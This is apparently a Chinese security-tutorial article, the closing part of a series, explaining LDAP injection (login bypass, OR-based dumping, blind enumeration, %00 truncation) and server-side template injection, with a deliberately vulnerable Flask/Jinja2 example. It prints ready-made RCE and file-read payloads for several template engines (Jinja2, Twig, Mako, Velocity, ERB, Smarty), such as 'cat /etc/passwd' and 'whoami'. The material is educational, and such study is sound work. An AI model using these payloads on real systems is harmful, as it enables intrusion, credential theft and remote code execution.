花式注入那点事儿(下) | 技术精选0118
2021-12-22 18:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:10 收藏

在前面两期推送中,我们已经对多种花式注入方式进行了详细解读。在最后一期,即将粉墨登场的是LDAP注入和SSTI注入。
如果这个系列能够为各位同学带来些许帮助,那笔者实在不胜欣喜。
话不多说,让我们进入正题。
1
LDAP注入

1.LDAP介绍

LDAP,全称:
"LightWeightDirectory AccessProtocol"
又称为轻量级目录访问协议,相信许多开发出身的同学并不陌生。
LDAP就是DAP目录访问协议的轻量级版本,常用于访问网络中的目录服务。它可以在用户不知道域名的情况下,搜索个人而无需知道位置。
在渗透过程中,我们经常说的就是LDAP服务器,简单来理解,就是储存数据的数据库。它常见的用途一般为储存用户名和密码,然后在不同的应用程序或服务中,使用LDAP对会话进行身份验证或绑定。
这个基本就类似于我们常说的SSO。所开的端口一般为389。一个常见的例子就是我们在搭建域环境时碰到的AD(ActiveDirectory)。
AD是一种目录服务,用于管理域、用户和分布式资源,在管理域和对象的同时,控制对应用户访问对应资源。同时它还包含整个域环境下每个账户的信息,并将每个用户账户视为一个对象,每个对象具有多个属性。
LDAP的作用就是以基于字符串的查询从AD中提取信息。从简单来理解,AD就是LDAP服务器+LDAP应用。
说到这可能会有人想到,其他数据库比如MYSQL,和LDAP数据库有什么区别吗?

最大的区别就是LDAP数据库是树状结构,数据储存在叶子节点上。大家都知道,使用树状结构效率更高。在不经常更改的情况下能够更快速的查找。既然是树状结构那就肯定有其规则:

  • dn:一条记录的详细位置;
  • dc:一条记录所属区域;
  • ou:一条记录所属组织;
  • cn/uid:一条记录的名字/ID。

一条数据其完整的表现形式就是:dn:cn=记录的名字,ou=组织,dc=区域。

2.LDAP注入

在介绍中,我们知道LDAP服务器有点类似于其他数据库服务器,其注入方式也有点类似于SQL注入,都是由于开发者对于部分参数未做正确过滤,导致攻击者可以插入恶意payload。
究根结底,LDAP注入之所以产生,一个重要原因就是其过滤器机制。最简单一个就是:
(username=tom)   //(filter1)
LDAP注入也有其划分,比如AND注入、OR注入和盲注,除此之外就是上面这种简单形式的注入,当我们输入payload:"*)(&" 时就会构造成"(username=*)(&)",由于此服务器只处理第一个过滤器,即:"(username=*)",便会查询所有的用户名。
当然,在实际操作中很少有这种简单的过滤器,一般都会加上一些逻辑运算符。这就构成了我们常说的AND注入和OR注入。
AND注入顾名思义就是带有"&"符,这种在用户名密码机制中经常使用:
(&(username=johnname)(password=johnpwd)
看到这很多人就已经想到了注入的方法,只需要输入我们的payload:"johnname)(&)",便可形成:
(&(username=johnname)(&))(password=johnpwd)
由于我们的后端使用的是:
(&(username=johnname)(password=johnpwd)
所以后端服务器在处理的时候只会处理第一个过滤器:
(&(username=johnname)(&))
便可成功绕过我们的登录密码限制。
另一种就是" | OR"注入,一般而言,其后端生成的表达式如下:
(|(username1=Johnname)(username2=tomname))
从攻击者的角度来看,我们经常与通配符(*)一起使用,比如我们需要输出一个公司内所有的资产,username1为姓名,username2为员工ID,这时我们仅需构造payload:
johnname)(assert=*)
最终形成的过滤器如下:
(|(username1=johname)(assert=*))(username2=tomname))
由于LDAP服务器只会处理第一个过滤器,此时便会输出整个公司的资产。
除了AND、OR之外,再就是盲注了,这一点类似于SQL注入中的布尔盲注和时间盲注,LDAP盲注是一种更高级的利用技术,可通过发送多个请求,并检查服务器响应以确定查询是否有效来提取未知信息。
结合其他优化和自动化功能,攻击者可以通过响应包返回的状态来获取信息。
比如我们需要获取一个公司的部门属性情况,在上述AND注入中输入"Jomname)(attribute=*)",形成的过滤器如下:
(&(username=Jomname)(attribute=*))(password=johnpwd)
如果服务器有响应,说明attribute属性存在,反之就不存在。
如果想查询属性名department,那么我们就可以输入payload:
jomname)(departmen=a*)(&(username=jomname)(departmen=a*))(password=johnpwd)
如果有服务器响应就可以继续进行"ab*、ac*"等等的过程。

3.查找LDAP

LDAP只能通过结果或者是状态码来判断是否有效,这为我们带来不少麻烦。不过我们也可以通过一些方法验证是否为LDAP。
  • 直接输入"* ",看是否出现很多结果;
  • 输入大量右括号;
  • "%00"截断,可以通过其实现passwd参数绕过;
(&(name=hacker))%00(passwd=hacker))
  • 利用"cn"属性:在LDAP中基本都会存在这个属性,如果对于查询的目录一无所知的情况下可以用这个。
)(cn=*))(|(cn=

4.总结

尽管LDAP注入的方式多种多样,但是其主要还是用在绕过身份验证和造成信息泄露两方面,常用的基本就是通过00截断或者闭合的方式,绕过其身份验证。或者通过盲注的方式,得到该公司的信息,人员姓名等。
有时候在渗透中,389端口开放而其他的无从下手时,可以尝试一下用LDAP客户端连接一下该服务器,说不定拿下的就是SSO呢。

5.参考文献

https://www.netsparker.com/blog/web-security/ldap-injection-how-to-prevent/
https://cloud.tencent.com/developer/article/1683075
https://blog.csdn.net/qq_19876131/article/details/50577355
https://xz.aliyun.com/t/5689#toc-0
2
SSTI服务器端模板注入

1.SSTI介绍

SSTI,Server-SideTemplateInjection,又称为服务器端模板注入,表示当攻击者使用该模板语法将恶意的语句注入到模板中,然后在服务器中执行时,就会发生服务器模板注入。
在Web应用程序中有一条简单的开发规则:尽可能将应用程序逻辑与HTML代码分开,这就会让网页的生成被设计成固定模板加动态数据,也就是提供了一种管理HTML代码动态生成的方法。
然而当攻击者的输入直接连接到模板当中,而不是作为数据传入时,就会发生服务器模板注入攻击,从而导致攻击者可以直接获得服务器控制权限。
做安全的相信很多人都玩过vulhub,一个基于docker的漏洞环境,里面有一个flaskSSTI项目,它的代码如下:
fromflask import Flask, requestfromjinja2 import Templateapp= Flask(__name__)@app.route("/")defindex():   name = request.args.get('name', 'guest')   t = Template("Hello " + name)   return t.render()if__name__ == "__main__":   app.run()
可以看到他是以get形式接受的值,可能看到这很多人可能会首先想到XSS,这也往往会漏掉SSTI。当我们做一个简单的数学运算的时候就能够看到这些差异,比如输入:
payload:{{2*2}}
可以看出2*2被执行了,用户的输入被直接连接到模板中,这也就形成了服务器端模板注入。

2.SSTI利用

在上一节介绍中,我们已经知道了存在服务器端模板注入,在一般的流程中我们需要查找究竟采用的哪一种模板编写的,以下的截图来源网络,基本上包含了市面上的服务器端模板:
smarty模板一般可以通过:
{php}echo‘id’;{/php}
Mako模板则可以通过:
<%importosx= os.popen('id')。read()%>${x}
直接RCE。
Twig则可以通过以下代码实现RCE:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
除此之外还有一些java的模板语言,比如Velocity模板,它可以使用Runtime.exec()在目标系统执行shell命令,比如:
#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($iin[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
除此之外,Ruby可以通过:
ERB:<%=7 * 7 %>Slim:#{7 * 7 }
检测是否存在SSTI,可通过以下代码实现利用:
<%=system('cat /etc/passwd') %><%=`ls /` %><%=IO.popen('ls /').readlines()  %><%require'open3'%><% @a,@b,@c,@d=Open3.popen3('whoami')%><%[email protected]()%><%require'open4'%><%@a,@b,@c,@d=Open4.popen4('whoami')%><%[email protected]()%>
当然jade也有SSTI的形式,也可以实现RCE。
在介绍中我们发现代码采用的是jinja2,这时我们采用:
%7b%7b+%27%27.__ class __.__ mro __%5B2%5D.__ subclasses __%28%29%5B40%5D%28%27%2Fetc%2Fpasswd%27%29.read%28%29+%7D%7D
便可以读取passwd的文件内容,同时也可以使用官方提供的POC执行:
{%for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %}   {% if 'eval' in b.keys() %}     {{ b['eval']('__import__("os").popen("id").read()')}}   {% endif %} {% endif %} {% endfor %}{%endif %}{%endfor %}
便可看到代码成功执行。
3
总结
SSTI的注入方式很多,查找方式也多种多样,比如java的"${7*7}"等等,这个需要我们日常的积累,在vulhub中也存在一些基于docker搭建的靶机环境,比如:
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
这里面提供了十几种不同的服务器端漏洞环境,包含python、php、java、nodejs、javascript、ruby、go等语言。
当然有漏洞也就代表着有相应的检测工具,这里比较推荐:
talmap(https://github.com/epinna/tplmap)
这是一款专门用来检测SSTI的工具。
下面是一些参考文献,大家可以自行学习。
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
https://portswigger.net/research/server-side-template-injection

文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247496835&idx=1&sn=e34772b0c57115a57bfda855faf9c6eb&chksm=9b3ad232ac4d5b243633e6aebb818c42019f7976c6ffe2b45a01e229922d3b89cdc7abcf2717#rd
如有侵权请联系:admin#unsafe.sh